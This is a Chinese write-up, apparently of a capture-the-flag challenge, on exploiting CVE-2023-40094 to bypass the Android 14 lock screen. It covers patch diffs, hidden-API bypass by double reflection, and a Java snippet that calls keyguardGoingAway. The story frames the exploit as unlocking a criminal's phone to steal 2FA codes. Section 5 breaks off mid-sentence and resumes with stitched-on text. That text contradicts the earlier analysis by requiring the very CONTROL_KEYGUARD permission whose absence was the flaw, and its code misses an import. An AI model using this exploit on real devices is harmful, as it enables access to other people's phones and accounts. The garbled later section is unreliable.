1. 简介
过去两年来,你一直在追踪和监视一个大型洗钱网络。通过你的努力工作,你成功地在现场安插了一名特工。通过社会工程学技术,他成功获取了该网络中某个重要人物的加密钱包密码。然而,访问受到了双重身份验证的保护…
你的特工向你保证,他能够操纵罪犯,让其在自己的 Android 14 手机上安装一个应用程序,并在后台运行。基于这些信息,你推测可以利用漏洞 CVE-2023-40094,在合适的时机解锁手机并获取 2FA 代码。你搭建了一个模拟器,然后开始开发…
说明文件 instructions.md
中提供了详细的指示。
2. CVE-2023-40094 分析
我们决定按照描述中提到的路径,研究 CVE-2023-40094:
- https://nvd.nist.gov/vuln/detail/CVE-2023-40094
在 ActivityTaskManagerService.java 的 keyguardGoingAway 中,由于缺少权限检查,可能会导致锁屏绕过。这可能导致本地权限升级,而不需要额外的执行权限。利用不需要用户交互。
我们可以找到修复该漏洞的提交:
diff --git a/core/java/android/app/IActivityTaskManager.aidl b/core/java/android/app/IActivityTaskManager.aidl
index fe75dd3..b709b7e 100644
--- a/core/java/android/app/IActivityTaskManager.aidl
+++ b/core/java/android/app/IActivityTaskManager.aidl
@@ -239,6 +239,7 @@
* {@link android.view.WindowManagerPolicyConstants#KEYGUARD_GOING_AWAY_FLAG_TO_SHADE}
* etc.
*/
+ @JavaPassthrough(annotation="@android.annotation.RequiresPermission(android.Manifest.permission.CONTROL_KEYGUARD)")
void keyguardGoingAway(int flags);
void suppressResizeConfigChanges(boolean suppress);
以及
diff --git a/services/core/java/com/android/server/wm/ActivityTaskManagerService.java b/services/core/java/com/android/server/wm/ActivityTaskManagerService.java
index aa15429..71ca852 100644
--- a/services/core/java/com/android/server/wm/ActivityTaskManagerService.java
+++ b/services/core/java/com/android/server/wm/ActivityTaskManagerService.java
@@ -18,6 +18,7 @@
import static android.Manifest.permission.BIND_VOICE_INTERACTION;
import static android.Manifest.permission.CHANGE_CONFIGURATION;
+import static android.Manifest.permission.CONTROL_KEYGUARD;
import static android.Manifest.permission.CONTROL_REMOTE_APP_TRANSITION_ANIMATIONS;
import static android.Manifest.permission.INTERACT_ACROSS_USERS;
import static android.Manifest.permission.INTERACT_ACROSS_USERS_FULL;
@@ -3394,6 +3395,7 @@
@Override
public void keyguardGoingAway(int flags) {
+ mAmInternal.enforceCallingPermission(CONTROL_KEYGUARD, "unlock keyguard");
enforceNotIsolatedCaller("keyguardGoingAway");
final long token = Binder.clearCallingIdentity();
try {
我们可以注意到,与 keyguard
相关的函数被添加了权限控制。keyguard
类似于屏幕锁定,并管理其状态:
- https://developer.android.com/reference/android/app/KeyguardManager
- https://stackoverflow.com/a/17689969
最后,我们还注意到提交描述中有这样一条消息:
手动验证,确认在 bug 中找到的应用程序无法成功调用 keyguardGoingAway
我们的策略是开发一种逻辑,能够重现此漏洞,以便通过 keyguardGoingAway
函数控制屏幕的(解)锁。
3. 内部系统 API 调用
方法 keyguardGoingAway
不属于 SDK 接口的一部分,例如在 Android Studio 环境中不可用。因此,无法编译调用该方法的代码,因为它未被定义。然而,我们可以使用 Java 反射在运行时调用它(动态调用)。以下是一些关于此主题的参考资料:
- https://proandroiddev.com/java-reflection-afe3d9af0d8d
- https://codegym.cc/groups/posts/45-reflection-api-reflection-the-dark-side-of-java
不幸幸运的是,自 Android 9 起,Google 限制了对某些不属于经典 SDK 的函数的调用。完整列表可在此处找到:
- https://developer.android.com/guide/app-compatibility/restrictions-non-sdk-interfaces#determine-list
因此,keyguardGoingAway
被列入了黑名单:
Landroid/app/IActivityTaskManager$Default;->keyguardGoingAway(I)V,blocked
查看此处提供的文件:https://dl.google.com/developers/android/udc/non-sdk/hiddenapi-flags.csv?hl=fr,第 23252 行。
4. 双重反射
为了绕过设置的过滤,我们可以使用一种名为双重反射的技术:
双重反射。这是一种 Java 方法。使用系统类进行反射,我们可以将调用者的身份更改为系统 [5]。我们首先利用反射来获取反射 API,称为元反射 API。此元反射 API 由系统类加载。然后,我们使用此元反射 API 来反射调用非 SDK API。此时,对非 SDK API 的调用将被视为系统调用。此外,VMRuntime 类下有一个 setHiddenApiExemptions() API(非 SDK API),可用于豁免非 SDK API 的限制。结合双重反射和 setHiddenApiExemptions(),所有非 SDK API 仍然可以通过先前的方法(即 SDK 替换、Java 反射和 JNI)访问。
来源:https://diaowenrui.github.io/paper/icse22-yang.pdf
在寻找实现这种操作的库时,我们注意到了以下 Java 模块:https://github.com/LSPosed/AndroidHiddenApiBypass/。
以下是一些关于实现 AndroidHiddenApiBypass
的实用资源:
- https://stackoverflow.com/questions/69163511/build-was-configured-to-prefer-settings-repositories-over-project-repositories-b/71186329#71186329
- https://github.com/LSPosed/AndroidHiddenApiBypass/issues/22#issuecomment-1311182344
5. 利用
我们的首要目标是访问 android.app.IActivityTaskManager
的一个实例。即使我们可以通过双重反射直接调用它,我们也希望从一个活动对象中获得它。为此,我们可以使用 getService()
方法,正如在 https://diaowenrui.github.io/paper/icse22-yang.pdf 中所述,我们将以此为灵感来构建我们的调用链:
getService() 是恶意应用中使用最频繁的非 SDK API,旨在获取特定的系统服务。
然而,直接调用此函数是不可能的。通过研究源代码,我们注意到了另一条调用路径:
/**
* @hide
*/
@UnsupportedAppUsage
public static IActivityManager getService() {
return IActivityManagerSingleton.get();
}
private static IActivityTaskManager getTaskService() {
return ActivityTaskManager.getService();
}
我们可以注意到,其中一个方法未被隐藏,并为我们提供了一个 android.app.IActivityTaskManager$Stub$Proxy
的实例,其内部系统 API 定义在 android/app/IActivityTaskManager.aidl
中,并在 services/core/java/com/android/server/wm/ActivityTaskManagerService.java
中实现(参见 https://www.protechtraining.com/static/slides/Deep_Dive_Into_Binder_Presentation.html#slide-10 以
我们已经确定了可以通过 ActivityTaskManager.getService()
方法获取 IActivityTaskManager
实例的路径。接下来,我们需要使用双重反射技术来调用 keyguardGoingAway
方法,从而绕过 Android 的非 SDK API 调用限制。
5.1. 实现步骤
引入 AndroidHiddenApiBypass 库:首先,我们需要将 AndroidHiddenApiBypass 库集成到我们的项目中。这个库提供了绕过非 SDK API 限制的功能。
获取 IActivityTaskManager 实例:使用
ActivityTaskManager.getService()
方法获取IActivityTaskManager
的实例。使用双重反射调用 keyguardGoingAway:
- 利用 AndroidHiddenApiBypass 库中的功能,解除对
keyguardGoingAway
方法的调用限制。 - 使用反射机制调用
keyguardGoingAway
方法。
- 利用 AndroidHiddenApiBypass 库中的功能,解除对
处理权限:确保应用程序具有必要的权限(如
CONTROL_KEYGUARD
),以便成功调用keyguardGoingAway
。
5.2. 代码示例
以下是一个简化的代码示例,展示了如何实现上述步骤:
import android.app.ActivityTaskManager;
import android.app.IActivityTaskManager;
import android.util.Log;
import com.android.hiddenapibypass.HiddenApiBypass;
public class KeyguardBypass {
public static void unlockKeyguard() {
try {
// Step 1: Bypass hidden API restrictions
HiddenApiBypass.addHiddenApiExemptions("L");
// Step 2: Get IActivityTaskManager instance
IActivityTaskManager activityTaskManager = ActivityTaskManager.getService();
// Step 3: Use reflection to call keyguardGoingAway
Method keyguardGoingAwayMethod = activityTaskManager.getClass().getDeclaredMethod("keyguardGoingAway", int.class);
keyguardGoingAwayMethod.setAccessible(true);
keyguardGoingAwayMethod.invoke(activityTaskManager, 0);
Log.i("KeyguardBypass", "Successfully called keyguardGoingAway");
} catch (Exception e) {
Log.e("KeyguardBypass", "Failed to call keyguardGoingAway", e);
}
}
}
5.3. 注意事项
- 权限要求:确保应用程序具备
CONTROL_KEYGUARD
权限。这可能需要修改系统权限,或者在受控环境下测试。 - 安全性:此类操作可能会违反 Android 的安全策略,建议仅在研究和合法的测试环境中使用。
- 设备兼容性:由于 Android 的版本和设备差异,确保在目标设备上进行充分测试。
5.4. 总结
通过以上步骤,我们可以利用 CVE-2023-40094 漏洞,绕过 Android 的锁屏机制。这种方法结合了对 Android 系统内部机制的深入理解和对反射技术的巧妙应用。然而,开发人员在使用此类技术时应始终遵循法律和道德标准,以确保其应用程序的安全性和合规性。